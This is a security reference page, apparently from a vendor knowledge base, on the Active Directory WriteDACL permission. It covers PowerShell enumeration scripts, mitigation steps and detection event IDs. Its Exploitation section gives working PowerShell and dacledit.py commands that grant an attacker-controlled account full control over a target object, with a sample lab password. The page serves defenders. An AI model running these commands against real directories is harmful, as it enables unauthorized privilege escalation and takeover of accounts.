WriteDACL

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Summary


Forestall ACL Alias	WriteDACL
AD Alias	Modify Permissions
Affected Object Types	Objects
Exploitation Certainty	Certain
AD Right	WriteDacl
AD Permission Guid	00000000-0000-0000-0000-000000000000

Description

The WriteDACL permission in Active Directory allows an account to modify the Discretionary Access Control List (DACL) of an object. The DACL is a critical component of an object’s security descriptor, defining detailed access permissions for users and groups. It determines who can perform actions such as reading, writing, or executing operations on the object. This permission is fundamental for enforcing security boundaries, implementing granular access control, and ensuring that resources within the directory are accessed only by authorized entities.

However, if misconfigured, the WriteDACL permission allows an attacker can alter the DACL of an object to grant themselves or others additional permissions, such as full control over the object. This could allow the attacker to manipulate the object’s settings, access sensitive data, or modify permissions further to propagate unauthorized access.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate WriteDACL entries.

1. Find-WriteDACL function

function Find-WriteDACL {
    [CmdletBinding()]
    param([string]$SearchBase,[string]$OutputPath = "WriteDACL.csv",[switch]$ExcludeAdmins)
    Import-Module ActiveDirectory -ErrorAction Stop
    $Allow = [System.Security.AccessControl.AccessControlType]::Allow
    $Right = [System.DirectoryServices.ActiveDirectoryRights]::WriteDacl
    $ExcludedSIDs = @()
    if ($ExcludeAdmins) {
        foreach ($n in @('NT AUTHORITY\SYSTEM','NT AUTHORITY\SELF','BUILTIN\Administrators','BUILTIN\Account Operators'
        )) { try { $ExcludedSIDs += (New-Object System.Security.Principal.NTAccount $n).Translate([System.Security.Principal.SecurityIdentifier]) } catch {} }
        foreach ($sid in @('S-1-5-9','S-1-3-0')) { try { $ExcludedSIDs += New-Object System.Security.Principal.SecurityIdentifier $sid } catch {} }
        foreach ($g in @('Domain Admins','Enterprise Admins','Schema Admins','Domain Controllers','DnsAdmins','Key Admins','Enterprise Key Admins','RAS and IAS Servers')) { try { $ExcludedSIDs += (Get-ADGroup -Identity $g -ErrorAction Stop).SID } catch {} }
    }
    $adParams = @{
        LDAPFilter     = '(objectClass=*)'
        ErrorAction    = 'Stop'
        ResultPageSize = 2000
    }
    if ($SearchBase) {
        $adParams.SearchBase = $SearchBase
    } else {
        try { $adParams.SearchBase = (Get-ADRootDSE).defaultNamingContext } catch {}
    }
    $results = foreach ($obj in Get-ADObject @adParams) {
        try {
            $dn = $obj.DistinguishedName
            if (-not $dn) { continue }
            $acl = Get-Acl -Path ("AD:$dn")
            foreach ($ace in $acl.Access) {
                if ($ace.AccessControlType -eq $Allow -and ($ace.ActiveDirectoryRights -band $Right) -and -not $ace.IsInherited) {
                    $sid = $null
                    try { $sid = $ace.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]) } catch {}
                    if (-not $ExcludeAdmins -or $ExcludedSIDs.Count -eq 0 -or ($sid -and ($ExcludedSIDs -notcontains $sid))) {
                        [pscustomobject]@{
                            'Vulnerable Object' = $dn
                            'Permission Holder' = $ace.IdentityReference.Value
                        }
                    }
                }
            }
        } catch {}
    }
    if ($results) {
        try { $results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop } catch {}
    } else { Write-Output "No explicit WriteDACL permissions found for the given scope." }
}

2. Scan all domain objects

Find-WriteDACL

3. Exclude default admins for clear visibility

Find-WriteDACL -ExcludeAdmins

4. Using SearchBase to limit the searching scope

Find-WriteDACL -SearchBase "CN=Users,DC=forestall,DC=labs"

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate WriteDACL entries without relying on any external modules or dependencies.

1. Find-WriteDACLSimple function

function Find-WriteDACLSimple {
    [CmdletBinding()]
    param([string]$Target,[string]$OutputPath = "WriteDACL.csv",[switch]$ExcludeAdmins)
    $Allow = [System.Security.AccessControl.AccessControlType]::Allow
    $Right = [System.DirectoryServices.ActiveDirectoryRights]::WriteDacl
    if ($Target) {
        try { $entries = @([System.DirectoryServices.DirectoryEntry]("LDAP://$Target")) }
        catch { Write-Error "Bind failed for '$Target': $_"; return }
    } else {
        try {
            $baseDN  = ([ADSI]"LDAP://RootDSE").defaultNamingContext
            $root    = [System.DirectoryServices.DirectoryEntry]("LDAP://$baseDN")
            $search  = New-Object System.DirectoryServices.DirectorySearcher($root)
            $search.Filter = "(objectClass=*)"; $search.PageSize = 1000
            [void]$search.PropertiesToLoad.Add("distinguishedName")
            $entries = foreach($r in $search.FindAll()){ try { $r.GetDirectoryEntry() } catch {} }
        } catch { Write-Error "LDAP enumeration failed: $_"; return }
    }
    $ExcludedSIDs = @()
    if ($ExcludeAdmins) {
        function To-Sid([string]$n){ try { (New-Object System.Security.Principal.NTAccount($n)).Translate([System.Security.Principal.SecurityIdentifier]) } catch { $null } }
        $ExcludedSIDs += @(
            'NT AUTHORITY\SYSTEM','NT AUTHORITY\SELF','BUILTIN\Administrators','BUILTIN\Account Operators',
            'BUILTIN\Backup Operators','BUILTIN\Server Operators','BUILTIN\Print Operators',
            'BUILTIN\Event Log Readers','BUILTIN\Cert Publishers'
        ) | ForEach-Object { To-Sid $_ }
        $ExcludedSIDs += @('S-1-5-9','S-1-3-0') | ForEach-Object { try { New-Object System.Security.Principal.SecurityIdentifier($_) } catch { $null } }
        $dom = $env:USERDOMAIN
        foreach($g in 'Domain Admins','Enterprise Admins','Schema Admins','Domain Controllers','DnsAdmins','Key Admins','Enterprise Key Admins','Group Policy Creator Owners','RAS and IAS Servers','Read-only Domain Controllers'){
            $sid = To-Sid "$dom\$g"; if(-not $sid){ $sid = To-Sid $g }; if($sid){ $ExcludedSIDs += $sid }
        }
        $ExcludedSIDs = $ExcludedSIDs | Where-Object { $_ } | Select-Object -Unique
    }
    $rows = foreach($e in $entries){
        try {
            $dn = try { [string]$e.Properties["distinguishedName"][0] } catch { ($e.Path -replace '^LDAP://','') }
            $aces = $e.ObjectSecurity.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier])
            foreach($ace in $aces){
                if($ace.AccessControlType -eq $Allow -and ($ace.ActiveDirectoryRights -band $Right) -and -not $ace.IsInherited){
                    if(-not $ExcludeAdmins -or $ExcludedSIDs.Count -eq 0 -or ($ExcludedSIDs -notcontains $ace.IdentityReference)){
                        $who = try { $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value } catch { $ace.IdentityReference.Value }
                        [pscustomobject]@{ 'Vulnerable Object' = $dn; 'Permission Holder' = $who }
                    }}}} catch {}}
    if($rows){try { $rows | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop } catch {}}else {'No explicit WriteDACL permissions found for the given scope.' }
}

2. Scan all domain objects

Find-WriteDACLSimple

3. Scan a specific object

Find-WriteDACLSimple -Target "CN=john,CN=Users,DC=Forestall,DC=labs"

4. Exclude default admins for clear visibility

Find-WriteDACLSimple -ExcludeAdmins -Target "CN=john,CN=Users,DC=Forestall,DC=labs"

Active Directory Users and Computers

1. Open Active Directory Users and Computers on your Windows server.

2. Right-click on the domain name.

3. Select Properties from the context menu.

4. In the Properties window, navigate to the Security tab.

5. Click on the Advanced button to open the Advanced Security Settings dialog.

6. In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

7. Click Edit to modify the selected ACE.

8. In the permissions list, locate and check the option Modify permissions.

9. Click OK to save your changes and close the dialogs.

Exploitation

After granting our controlled attacker account Full Control over the object, further exploitation can be carried out. For detailed techniques and scenarios, please refer to GenericAll.

The following examples demonstrate exploitation on Windows and Linux environments.

Windows

Grant FullControl access to the controlled user

Import-Module ActiveDirectory
# Same target object
$objectDN  = "<objectDn>"
# Account to receive full control
$targetUser = New-Object System.Security.Principal.NTAccount("<domain>","<user>")
# Build and add a GenericAll (full‑control) ACE
$acl              = Get-Acl -Path "AD:$objectDN"
$fullControlRule  = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $targetUser,
    [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
    [System.Security.AccessControl.AccessControlType]::Allow
)
$acl.AddAccessRule($fullControlRule)
# Commit the updated ACL
Set-Acl -Path "AD:$objectDN" -AclObject $acl

Example:

Import-Module ActiveDirectory
$objectDN  = "CN=John,OU=Users,DC=forestall,DC=labs"
$targetUser = New-Object System.Security.Principal.NTAccount("FORESTALL","adam")
$acl              = Get-Acl -Path "AD:$objectDN"
$fullControlRule  = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $targetUser,
    [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
    [System.Security.AccessControl.AccessControlType]::Allow
)
$acl.AddAccessRule($fullControlRule)
Set-Acl -Path "AD:$objectDN" -AclObject $acl

Linux

Grant FullControl access to the controlled user

dacledit.py -rights FullControl -principal <user> -target <targetObject> -action write <domain>/<user>:'<pass>' -dc-ip <dcip>

Example:

dacledit.py -rights FullControl -principal adam -target john -action write forestall.labs/adam:'Temp123!' -dc-ip 192.168.231.21

Mitigation

Access Control Entries identified as dangerous should be removed by following the steps below.

1. Open Active Directory Users and Computers, and activate Advanced Features option.

2. Double click the affected domain and open the Security tab.

3. In this tab, click the Advanced button and open the dangerous Access Control Entry.

4. Remove the Modify permissions right.

5. Click OK and Apply buttons for saving changes.

Detection

Adding new Access Control Entries to Active Directory objects modifies the ntSecurityDescriptor attribute of the objects themselves. These changes can be detected with the 5136 and 4662 Event IDs to identify dangerous modifications.

Event ID	Description	Fields/Attributes	References
5136	A directory service object was modified.	ntSecurityDescriptor	https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136\|
4662	An operation was performed on an object.	AccessList, AccessMask	https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662\|